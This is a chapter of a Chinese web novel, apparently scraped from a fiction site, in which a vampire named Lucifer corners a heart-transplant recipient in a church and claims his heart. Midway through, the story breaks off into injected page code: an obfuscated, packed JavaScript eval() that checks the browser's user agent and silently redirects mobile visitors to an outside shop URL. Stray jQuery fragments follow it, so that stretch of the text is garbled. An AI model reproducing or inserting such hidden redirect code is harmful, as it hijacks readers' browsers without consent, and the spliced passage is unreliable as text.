文趣网 > 都市小说 > 被吸血鬼始祖盯上了 > 13. 我不是你的人
    教堂里安静得能听见雨声,空气泛着霉味和土腥气。

    苏澄光裤脚湿透,衣服贴在皮肤上,很不舒服。

    他看了眼穿着黑色背心被工作人员拦下的陆焰。

    这就是他来教堂的原因。

    他看了眼周围,深棕色红椅子,绿色玻璃窗,很干净的祈祷厅。

    在苏澄光逛完一圈后,对着最前面的蜡像发呆。

    两米高的雕塑,润白色的蜡油铸成的皮肤和五官,栩栩如生的细节和皮肤纹路,让这巨不知名的神像,格外像一具没有呼吸和血肉的人类。

    门突然被推开,一阵冷风裹着雨灌进来。

    他回头,远处一个人影站在雨幕里,像夜晚的鹰隼般。

    那人的视线扫来,宛如一头夜晚的野兽,浑身散发着危险的气息。

    苏澄光却没有注意。他在思考。为什么?这个雕像跟他长得那么像。

    如果是参考着他的脸做出来的,

    是不是要给他版权费?

    空旷的教堂里回荡起脚步声。

    对方走过来时,要离开的想法已经晚了。即使男人走得不快,夹着雨天绵绸的旋律。

    身体比记忆先给出反应。

    心脏猛地跳了一下,重得像要撞破胸腔。

    苏澄光看了眼侧门,现在离开未免太刻意。

    路西法跨进教堂大门,每一步都带着无声的压迫感。

    他浑身湿透,却不显狼狈,雨水顺着他锋利的下颌滴落。

    苏澄光坐下来,低头快速敲了几个字给陆焰。

    对视上那双黑暗中的眼睛时,犹如恶鬼的凝视,让人后背发凉。

    苏澄光的呼吸忽然滞住了,像是被被困住的美人鱼。

    路西法停在他面前,居高临下地看他,眼神晦暗不明。

    “你的心跳声,很吵。”他低声说,声音低沉得让人发毛。

    苏澄光没接话,心想这你也要管吗?你打求生者吗?

    “这跟你没关系吧?叔叔,我只是进来躲躲雨。”

    他感觉教堂里黏腻的空气似乎更冷了。

    “人类对真相总是畏惧又渴望。”

    “你是哪一种?”

    路西法靠近他,语气像是为迷途羔羊引路的神父。

    “如果真相的结果让人痛苦,我宁愿永远也不知道真相。”

    苏澄光抬眸,眼神淡淡,像蜻蜓一样轻轻落在对方身上。

    “你身体里有不属于你的东西。”路西法俯下身,距离近得过分。

    苏澄光能看见他眼底的深邃,像是血的颜色,危险又迷人。

    “听不懂你在说什么。”苏澄光说,语气淡得好像他们在聊外面的天气。

    可他的指尖轻轻蜷了起来,暴露了他并不平静的内心。

    路西法伸出手,指尖几乎碰到他的心口,却停在那里。

    苏澄光顺着他的动作低头,透过衣服,那里有一条十厘米的缝合线。

    “心脏。”他说,“这么多年了,它在你体内很鲜活。”

    苏澄光抿了抿唇,抬眼看过去,把他当成了当时捐献者的家属:“所以呢,你要剖开我取回去?”

    人情债最难还,就算当初干爹已经死了,不管从哪方面看,他都是得益者。是他亏欠了他们家。

    路西法低低地笑了,笑声在空旷的教堂里显得格外清晰。

    “有点意思。”他问,“你不怕死?”

    苏澄光目光很静,像是隔着玻璃罩看花:“怕有用吗?”

    影子从暗处闪出来,跪在门口,低声道:“始祖,李白的人逃进教堂了。”

    路西法没有回头,只淡淡道:“他跑不掉。进去搜。”

    影子瞬间消失在黑暗里,教堂重新安静下来,只有雨声。

    苏澄光皱眉:“你们在追人?叔叔你是警察?”他下意识后退了半步。

    这男人一副万事随心的懒散模样,身上无序混乱的气质,比起公家更像是无法无天的黑涩会。

    路西法偏了偏头,说:“看来我说了让你很不安的事。”

    “你的身上全湿了,不冷吗?”苏澄光低声补了一句:

    “我没在关心你,只是你到我挡路了。”他说完就有些后悔,怎么把后半句也说了。

    路西法反而笑了起来,穿着一身湿衣服笑得邪气又漫不经心:“我这种怪物不会冷。”

    “有一种方法可以让我暖起来,你愿意帮我吗?”

    看着男人露出的尖牙,苏澄光忽然想起影视小时里关于吸血鬼的描写,他们是一群披着人皮的怪物,也是外貌绝色的美人。

    可眼前这个人,却比怪物更令人捉摸不透。

    苏澄光的心口轻轻一紧,他闻到一股腥膻森冷的味道。

    “你的手在流血。”他轻声说,“包扎一下,我是说别弄脏教堂。”

    声音有些发涩,看起来格外惹人怜爱。

    他看着对方浸湿的袖子,像是从水里捞出来似的,“也别沾水,会发炎。”

    路西法抬起手腕,慢慢舔掉那点血,动作慢得让人发毛,又移不开眼。

    苏澄光的呼吸重了半拍,咽了下唾液,对自己强调警告道:“别这样。”

    路西法看着他,眼神幽暗:“哪样?”苏澄光没有回答,只是按住心口。

    心脏跳得更快,像在回应他,又像要挣脱这具身体。苏澄光咽下疯狂分泌的唾液,他感觉自己的喉咙在被火烧。

    路西法眯起眼睛,笑得像捕捉到猎物的野兽:“它跳得更快了,你听。”

    苏澄光低声说:“别说了。”我不叫你叔叔了,快别说了。

    可明明只有自己才能听见的心跳声,在雨夜里越来越大。

    窗外雨声更大了,空气冷得像浸了水的绸缎,又黏腻又沉重。

    两人之间只剩半臂距离,苏澄光的后背抵上长椅,已经退无可退。

    路西法的气息笼下来,像夜晚本身,带着无法抗拒的压迫感。

    “你叫什么?”他问。

    苏澄光感觉自己的症状似乎减轻了一点,沉默了一瞬:“苏澄光,澄澈的澄,阳光的光。”

    路西法低声念了一遍他的名字,声音里带着某种隐秘的占有欲。

    “苏澄光,这颗心可要藏好啊。”他的语气平静,却让人心口发紧。

    苏澄光皱眉:“藏好?藏哪去。”路西法的指尖终于落在他心口上,轻轻一点。

    “偷了别人的心,当然是要还的。”他说得理所当然。

    但苏澄光不能理解。

    还?拿他的命还吗?

    苏澄光觉得荒唐:“这不是我想要的,没人问过我愿不愿意。”

    如果他没活过十四岁,那他也就认命了,可他现在已经拥有了幸福。

    他有家人有朋友,还没有参加高考,他还想去见更多东西——他想继续活下去。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827598|210226||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    路西法的手微微一顿,随即收回:“我知道,所以我不打算硬抢。”

    苏澄光抬头看他:“那你想怎样?”路西法直起身,眼神深沉如海。

    “你必须跟着我,一步不离。”他的声音不容拒绝。

    苏澄光轻轻笑了一下,像自嘲:“你凭什么觉得我会答应?”

    路西法看着他,眼神戏谑:“凭你刚才让我别沾水。”

    苏澄光愣住了,没想到他会这么说,有点不好意思。

    “那只是……习惯。”他低声说。他也提醒过陆焰。

    路西法嗯了一声:“很好的习惯。”

    “记住我的名字,路西法。”

    苏澄光看了眼他的脸,男人黑发黑眼,不像是外国人:“你的英文名字?”

    “真名。”

    “好了,以后再商议。”他补充道,语气轻佻,又像在许一个承诺。

    苏澄光的心乱了一拍,他讨厌这种被逼迫的感觉,可更不想逃避。

    他想起医生说过,接受心脏移植后,有些人会梦见捐赠者的生前记忆。

    苏澄光一直没当回事,可现在他信了,因为他觉得自己见过路西法。

    在梦里,路西法还是一个十三四岁的小男孩,他站在血泊里,旁边倒下了两个年轻的男女,一个脖子上全是血,一个肚子上全是血。

    大概路西法是捐献者的弟弟吧,这么清晰的回忆,只能是最后也放不下的家人了。

    苏澄光猛地惊觉,他用了他家人的心脏,路西法不会要借此缠着他一辈子吧。

    影子再次出现,低声道:

    “大人,人抓到了。”声音被雨声吞掉一半,苏澄光有些没听清。

    路西法没看影子,只淡淡吩咐:

    “带回去。李白的人,一个都不许留。”

    苏澄光听到“李白”两个字,不知道是谁,但能感到路西法周身的戾气。

    那戾气像一层薄冰,覆盖在教堂潮湿的空气里,冷得惊人。

    路西法转头看他:“走吧。”苏澄光没动:“除了这个,我可以给你一定的资金补偿。”

    路西法轻笑,带着一点傲气:“我不缺钱,但我的人就要跟着我。”

    苏澄光瞪他:“我不是你的人。”

    路西法弯腰,在他耳边低语:“心脏都给你了,还不算我的人?”

    苏澄光挣扎:“那是意外。”路西法退开,轻声道:“天意难违。”

    雨势渐渐小了,白雾被夜风吹散了些,教堂里透进一线月光。

    苏澄光看着他的背影,像看一场醒不来的噩梦,又像看见了绮丽的月光。

    最终他迈开腿,跟了上去,脚步声跟他的交叠。

    路西法没有回头,却放慢了脚步,像是知道他会跟上来一样。

    苏澄光急忙开口:“你还没告诉我,我该怎么联系你。”路西法脚步一顿:“影子。”

    影子上前来扫了苏澄光的二维码。

    苏澄光轻声叫住他:“路西法。”

    路西法回头看他一眼,红瞳在夜色里亮得惊人,又慢慢隐去。

    “回去吧,小朋友。”他勾了勾唇,“以后有的是时间让你提醒我伤口别沾水。”

    苏澄光眉头皱起来,语气有点莫名:“谁要提醒你。”这人总不可能每次都受伤吧。

    他的脚步没有停,影子撑着伞跟在路西法身后,走进了潮湿的夜色里。